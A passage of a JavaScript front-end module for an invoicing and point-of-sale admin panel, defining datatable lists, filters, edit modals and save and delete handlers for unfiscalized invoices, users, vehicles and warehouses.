<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Fiscalize')}" data-id="${row.id}"><i class="la la-upload"></i> </a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-upload').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.fiscalize(itemID);
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'tcr.name', 'value', 'operation', 'changeDateTime', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
//and in the end we return it
return filtered;
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, tcrs: Cache.get('tcrs')}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add thumbnail
parameters.thumbnail = $modal.find('.filebox img').attr('src');
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
Unfiscalized: {
itemType: 'unfiscalized',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
export: function() {
//download it
window.location.href = '/'+ this.prefix +'/'+ this.itemType +'/export';
},
filter(source = []) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.operatorName)) {
filtered = filtered.filter(row => {
return row.operatorName.toLowerCase().startsWith(parameters.operatorName.toLowerCase());
});
}if(!empty(parameters.customerBusinessName)) {
filtered = filtered.filter(row => {
if (!empty(row.customerBusinessName))
return row.customerBusinessName.toLowerCase().startsWith(parameters.customerBusinessName.toLowerCase());
});
}
if(!empty(parameters.name)) {
filtered = filtered.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
if(!empty(parameters.total_min)) {
filtered = filtered.filter(row => {
return row.totalPrice >= parseFloat(parameters.total_min);
});
}
if(!empty(parameters.total_max)) {
filtered = filtered.filter(row => {
return row.totalPrice <= parseFloat(parameters.total_max);
});
}
if(!empty(parameters.created_min)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated <= parameters.created_max;
});
}
//and in the end we return it
return filtered;
},
queryParameters() { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="main_filter"]') , true);
return parameters;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
businessUnitCode: {field: 'businessUnitCode', title: __('Business Unit Code')},
clientApplication: {field: 'clientApplication', title: __('Client Application')},
customerAddress: {field: 'customerAddress', title: __('Customer Address')},
customerBusinessName: {field: 'customerBusinessName', title: __('Customer')},
customerCity: {field: 'customerCity', title: __('Customer City')},
customerDetails: {field: 'customerDetails', title: __('Customer Details')},
customerId: {field: 'customerId', title: __('Customer Id')},
customerIdNumber: {field: 'customerIdNumber', title: __('Customer Id Number')},
customerIdType: {field: 'customerIdType', title: __('Customer Id Type')},
documentType: {field: 'documentType', title: __('Document Type')},
eic: {field: 'eic', title: __('EIC')},
exchangeRate: {field: 'exchangeRate', title: __('Exchange Rate')},
fiscNumber: {field: 'fiscNumber', title: __('Fisc Number')},
iic: {field: 'iic', title: __('IIC')},
invoiceNumber: {field: 'invoiceNumber', title: __('Invoice Number')},
invoiceOrderNumber: {field: 'invoiceOrderNumber', title: __('Invoice Order Number')},
invoiceType: {field: 'invoiceType', title: __('Invoice Type'), template: function(row){ return Cache.get('invoiceTypes')[row.invoiceType]; }},
isACorrectedInvoice: {field: 'isACorrectedInvoice', title: __('Is A Corrected Invoice')},
isCorrectiveInvoice: {field: 'isCorrectiveInvoice', title: __('Is Corrective Invoice')},
isEInvoice: {field: 'isEInvoice', title: __('IsEInvoice')},
isReverseCharge: {field: 'isReverseCharge', title: __('Is Reverse Charge')},
isSelfIssuingAffectWareHouse: {field: 'isSelfIssuingAffectWareHouse', title: __('Is Self Issuing Affect WareHouse')},
isSentAsEInvoice: {field: 'isSentAsEInvoice', title: __('Is Sent As EInvoice')},
isSubsequentDelivery: {field: 'isSubsequentDelivery', title: __('Is Subsequent Delivery')},
markUpAmount: {field: 'markUpAmount', title: __('Mark Up Amount')},
notes: {field: 'notes', title: __('Notes')},
operatorCode: {field: 'operatorCode', title: __('Operator Code')},
operatorName: {field: 'operatorName', title: __('Operator Name')},
payDeadline: {field: 'payDeadline', title: __('Pay Deadline')},
process: {field: 'process', title: __('Process')},
sellerAddress: {field: 'sellerAddress', title: __('Seller Address')},
softCode: {field: 'softCode', title: __('Soft Code')},
taxFreeAmount: {field: 'taxFreeAmount', title: __('Tax Free Amount')},
tcrCode: {field: 'tcrCode', title: __('Tcr Code')},
totalPrice: {field: 'totalPrice', title: __('Total Price'), template: function(row){ return priceNum(row.totalPrice); }},
totalPriceWithoutVAT: {field: 'totalPriceWithoutVAT', title: __('Total Price Without VAT')},
totalVATAmount: {field: 'totalVATAmount', title: __('Total VAT Amount')},
transporterIdType: {field: 'transporterIdType', title: __('Transporter Id Type')},
valuesAreInForeignCurrency: {field: 'valuesAreInForeignCurrency', title: __('Values Are In Foreign Currency')},
verificationUrl: {field: 'verificationUrl', title: __('Verification Url')},
warehouseId: {field: 'warehouseId', title: __('WarehouseId')},
dateTimeCreated: {field: 'dateTimeCreated', title: __("Created Date"), type: "date", template: function(row){ return moment(row.dateTimeCreated).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
new Route(this.itemType).prefix(this.prefix).query(this.queryParameters()).get(function(res) {
self.list({
columns: ['id', 'invoiceType', 'operatorName', 'invoiceNumber', 'dateTimeCreated', 'totalPrice', 'customerBusinessName', 'amount', 'notes', 'actions'],
source: res.Data,
filter: function(source = []) {
return self.filter(source);
}
});
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'xl',
template: templates()[self.prefix][self.itemType].template({
item: opts.item,
idTypes: Cache.get('idTypes'),
countries: Cache.get('countries'),
tcrs: Cache.get('tcrs')
}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add customer
if (empty(parameters.customer.idNumber) && empty(parameters.customer.name))
delete parameters.customer;
//add products
parameters.invoiceProducts = [];
$('#productsList tbody tr').each(function() {
parameters.invoiceProducts.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
unitPrice: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
//add fees
parameters.invoiceFees = [];
$('#feesList tbody tr:not(:last)').each(function() {
parameters.invoiceFees.push({
feeType: $(this).find('[name="feeType"]').val(),
amount: $(this).find('[name="amount"]').val(),
});
});
//add invoicePayments
parameters.invoicePayments = [];
$('#feesList tbody tr:not(:last)').each(function() {
let payment = {
paymentMethodType: $(this).find('[name="paymentMethodType"]').val(),
amount: $(this).find('[name="amount"]').val()
};
if (payment.paymentMethodType == '2') {
payment.voucher = $(this).find('[name="voucher"]').val();
}
if (payment.paymentMethodType == '6') {
payment.accountId = $(this).find('[name="accountId"]').val();
}
parameters.invoicePayments.push(payment);
});
//extra
if (parameters.selfIssuing == '1') {
parameters.selfIssuingType = $modal.find('[name="selfIssuingType"]').val();
}
if ($modal.find('[name="isLateFiscalized"]').is(':checked')) {
parameters.subsequentDeliveryType = $modal.find('[name="subsequentDeliveryType"]').val();
}
return parameters;
},
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
},
shown: function($modal) {
//listen to order.changed event to re calculate summaries
//fire trigger
$('form[name="newInvoice"]').on('order.changed', function() {
DevPos.Invoice.order.summaries.calculate();
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
order: {
fee: {
add: function() {
$('#feesList tbody tr:last').before(this.row());
},
row: function(opts = {}) {
let defaults = {
amount: 0,
feeTypes: Cache.get('feeTypes')||['Paketim', 'Shishe', 'Komision', 'Të tjera']
};
opts = $.extend(defaults, opts);
return `
<tr>
<td>
${Html.select({
name: 'feeType',
value: opts.feeType,
options: opts.feeTypes
})}
</td>
<td>
${Html.input({
name: 'amount',
value: opts.amount
})}
</td>
<td class="text-center">
<a href="javascript:void(0)" class="btn btn-danger btn-elevate btn-circle btn-icon btn-sm" onclick="$(this).closest('tr').remove()"><i class="fa fa-trash"></i></a>
</td>
</tr>`;
}
},
paymentMethod: {
add: function() {
let self = this;
return Modal.create({
title: 'Add Payment Method',
modalID: 'addPaymentMethod',
size: 'md',
template: templates().devpos[DevPos.Invoice.itemType].paymentMethod(),
parameters: function($modal) {
let parameters = Modal.parameters($('.vModal:visible'));
if (parameters.paymentMethodType == '2')
parameters.voucher = $modal.find('[name="voucher"]').val();
if (parameters.paymentMethodType == '2')
parameters.accountId = $modal.find('[name="accountId"]').val();
return parameters;
},
save: function(opts) {
closeVModal(function(){
$('#paymentMethodsList tbody tr:last').before(self.row(opts.parameters));
});
}
});
//$('#paymentMethodsList tbody tr:last').before(this.row());
},
row: function(opts = {}) {
let defaults = {
amount: 0,
paymentMethodTypes: Cache.get('paymentMethods')||[
'BANKNOTE',
'CARD',
'CHECK',
'SVOUCHER',
'COMPANY',
'ORDER',
'ACCOUNT',
'FACTORING',
'COMPENSATION',
'TRANSFER',
'WAIVER',
'KIND',
'OTHER'
],
banks: Cache.get('banks')||[]
};
opts = $.extend(defaults, opts);
console.log(opts);
return `
<tr>
<td>
<div class="row px-2">
<div class="col">
${Html.select({
name: 'paymentMethodType',
value: opts.paymentMethodType,
options: opts.paymentMethodTypes,
shown: function(elm) {
$(elm).change(function(){
let value = $(elm).val();
if (value == '6') {
$(elm).closest('tr').find('[name="accountId"]').closest('div').removeClass('d-none');
}
else {
$(elm).closest('tr').find('[name="accountId"]').closest('div').addClass('d-none');
}
//voucher
if (value == '2') {
$(elm).closest('tr').find('[name="voucher"]').closest('div').removeClass('d-none');
}
else {
$(elm).closest('tr').find('[name="voucher"]').closest('div').addClass('d-none');
}
}).change();
}
})}
</div>
<div class="col d-none">
${Html.select({
class: 'form-control',
name: 'accountId',
value: opts.accountId,
options: function(value) {
return Cache.get('banks').map(row => {
return `<option value="${row.id}" ${value == row.accountId ? 'selected':''}>${row.bankName} - ${row.number}</option>`;
}).join('');
},
})}
</div>
<div class="col d-none">
${Html.input({
class: 'form-control',
name: 'voucher',
value: opts.voucher,
})}
</div>
</div>
</td>
<td>
${Html.input({
name: 'amount',
value: opts.amount
})}
</td>
<td class="text-center">
<a href="javascript:void(0)" class="btn btn-danger btn-elevate btn-circle btn-icon btn-sm" onclick="$(this).closest('tr').remove()"><i class="fa fa-trash"></i></a>
</td>
</tr>`;
}
},
product: {
add: function($modal) {
if(typeof $modal == 'undefined')
$modal = $('.modal:visible');
$modal.find('.productLine:last').after( DevPos.Invoice.product.component() );
//focus input
$modal.find('.productLine:last input.tt-input').focus();
},
calculateDiscount: function(opts = {}) {
let defaults = {
tax: {},
rate: 0,
discount: 0,
productLine: null
};
opts = $.extend(defaults, opts);
if (!empty(opts.productLine)) {
opts.rate = parseFloat(opts.productLine.find('[name="rate"]').attr('data-rate')||0);
opts.discount = parseFloat(opts.productLine.find('[name="discount"]').val()||0);
}
console.log(opts);
//now we calculate the tax value based on it configuration, rate and discount
let tax = 0;
if (opts.tax.type == 'On Net Total') {
tax = (opts.rate - opts.discount) * opts.tax.rate / 100;
}
else if (opts.tax.type == 'Actual') {
tax = opts.tax.amount ;
}
return parseFloat(tax);
},
calculateTax: function(opts = {}) {
let defaults = {
tax: {},
rate: 0,
discount: 0,
productLine: null
};
opts = $.extend(defaults, opts);
if (!empty(opts.productLine)) {
opts.rate = parseFloat(opts.productLine.find('[name="rate"]').attr('data-rate')||0);
opts.discount = parseFloat(opts.productLine.find('[name="discount"]').val()||0);
}
console.log(opts);
//now we calculate the tax value based on it configuration, rate and discount
let tax = 0;
if (opts.tax.type == 'On Net Total') {
tax = (opts.rate - opts.discount) * opts.tax.rate / 100;
}
else if (opts.tax.type == 'Actual') {
tax = opts.tax.amount ;
}
return parseFloat(tax);
},
parameters: function($tr) {
return {
quantity: parseFloat($tr.find('[name="quantity"]').val()||0),
unitPrice: parseFloat($tr.find('[name="unitPrice"]').val()||0),
discount: parseFloat($tr.find('[name="discount"]').val()||0),
amount: parseFloat($tr.find('td.amount').text().trim()||0),
};
},
row: function(row = {}) {
let defaults = {
id: '',
barcode: '',
isInvestment:'',
quantity: 1,
unit: 'cope',
unitPrice: '',
discount: '',
amount: '',
vatRate: '',
};
row = $.extend(defaults, row);
console.log(row);
let self = this;
let html = `
<tr data-barcode="${row.barcode}" data-investiment="${row.isInvestment}" data-product-id="${row.id}">
<td class="py-4" data-attribute="name">${row.name}</td>
<td class="total py-4" data-attribute="unit">${__(row.unit||'piece')}</td>
<td data-attribute="quantity">
${Html.input({
name: 'quantity',
value: 1,
onChange: function(elm) {
console.log('changed');
DevPos.Invoice.order.product.reCalculate($(elm).closest('tr'));
}
})}
</td>
<td data-attribute="unitPrice">
${Html.input({
name: 'unitPrice',
value: row.rate,
onChange: function(elm) {
DevPos.Invoice.order.product.reCalculate($(elm).closest('tr'));
}
})}
</td>
<td data-attribute="rebatePrice">
${Html.input({
name: 'discount',
value: row.discount||0,
onChange: function(elm) {
DevPos.Invoice.order.product.reCalculate($(elm).closest('tr'));
}
})}
</td>
<td class="py-4 total" data-attribute="amount"> ${row.amount||row.rate} </td>
<td class="vat py-4" data-attribute="vatRate"></td>
<td class="text-center"><a href="javascript:void(0)" class="ml-3 btn btn-outline-danger btn-elevate btn-icon btn-sm btn-label-danger" onclick="DevPos.Invoice.order.product.remove(this)"><i class="fa fa-trash"></i></a></td>
</tr>`;
return html;
},
reCalculate: function($tr) {
let parameters = this.parameters($tr);
//calculate amount
let amount = parameters.quantity * parameters.unitPrice;
let discountValue = 0;
if (!empty(parameters.discount)) {
discountValue = parameters.discount * amount / 100;
amount = amount - discountValue;
}
$tr.find('[name="discount"]').attr('data-value', discountValue);
$tr.find('td[data-attribute="amount"]').text(amount);
//fire trigger
$tr.closest('form').trigger('order.changed');
},
remove: function(elm) {
let $form = $(elm).closest('form');
$(elm).closest('tr').remove();
//fire trigger
$form.trigger('order.changed');
//after resetting summaries we reload the rates bc we have to send new subtotal to server
//reload Rates for products present already
this.reloadRates();
},
removeLast: function($modal) {
//remove last
if ($modal.find('.productLine').length == 1)
return;
$modal.find('.productLine:last').remove();
//fire trigger
$modal.find('form').trigger('order.changed');
}
},
summaries: {
discount() {
//discount is calculated based on coupon
let discount = 0;
$('#productsList tbody tr input[name="discount"]').each(function() {
discount += parseFloat($(this).attr('data-value')||0);
});
return discount;
},
subtotal() {
let subtotal = 0;
$('#productsList tbody tr ').each(function(){
subtotal += parseFloat($(this).attr('data-value')||0);
});
return subtotal;
},
taxes() {
let taxes = 0;
$('.productsList .productLine input[name="tax"]').each(function(){
taxes += parseFloat($(this).attr('data-value')||0);
});
return taxes;
},
total() {
let total = 0;
$('#productsList tr td[data-attribute="amount"]').each(function(){
total += parseFloat($(this).text()?.trim()||0);
});
return total;
},
calculate() {
//set subtotal
//$('div.subtotal').text(priceNum(this.subtotal()));
//set discount
//$('div.discount').text(priceNum(this.discount()));
//set taxes
//$('div.taxes').text(priceNum(this.taxes()));
console.log('caluclating total:');
//set total
$('div.total').text(priceNum(this.total()));
}
},
},
search: function() {
return new Model(this.itemType);
},
},
User: {
itemType: 'users',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
configuration: {field: 'configuration', title: __('Configuration')},
email: {field: 'email', title: __('Email')},
fullName: {field: 'fullName', title: __('Full Name')},
isEnabled: {field: 'isEnabled', title: __('Is Enabled')},
isLockedOut: {field: 'isLockedOut', title: __('Is Locked Out')},
jobTitle: {field: 'jobTitle', title: __('Job Title')},
operatorCode: {field: 'operatorCode', title: __('Operator Code')},
percentage: {field: 'percentage', title: __('Percentage')},
phoneNumber: {field: 'phoneNumber', title: __('Phone Number')},
pointsOfSaleId: {field: 'pointsOfSaleId', title: __('Points Of Sale Id')},
taxPayerId: {field: 'taxPayerId', title: __('Tax Payer Id')},
userName: {field: 'userName', title: __('Username')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'userName', 'fullName', 'email', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({
item: opts.item,
cities: Cache.get('cities')||[],
supplierList: Cache.get('supplierList')||[],
roles: Arr.pluck(Cache.get('roles'), 'name')||[]
}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = opts.item.id;
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
Vehicle: {
itemType: 'vehicles',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
plate: {field: 'plate', title: __('Plate')},
description: {field: 'description', title: __('Description')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'plate', 'description', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
WareHouse: {
itemType: 'warehouses',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter() { //this method is used for filtering items based on filter form on the page
let api = this.search();
let parameters = Modal.parameters( $('form[name="filter"]') , true);
// we add other filter condition here
if(!empty(parameters.name)) {
api.where('name', 'like', '%'+ parameters.name +'%');
}
//and in the end we return it
return api;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
code: {field: 'code', title: __("Code")},
description: {field: 'description', title: __("Description")},
email: {field: 'email', title: __("Email")},
latitude: {field: 'latitude', title: __("Latitude")},
longitude: {field: 'longitude', title: __("Longitude")},
notes: {field: 'notes', title: __("Notes")},
order: {field: 'order', title: __("Order")},
phone: {field: 'phone', title: __("Phone")},
wareHouseType: {field: 'wareHouseType', title: __("WareHouse Type")},
'creator:name': {field: 'created_by', title: __("Creator")},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
this.list({
columns: ['id', 'code', 'description', 'notes', 'phone', 'email', 'wareHouseType', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
//and in the end we return it
return filtered;
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, warehouseTypes: Cache.get('warehouseTypes')}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
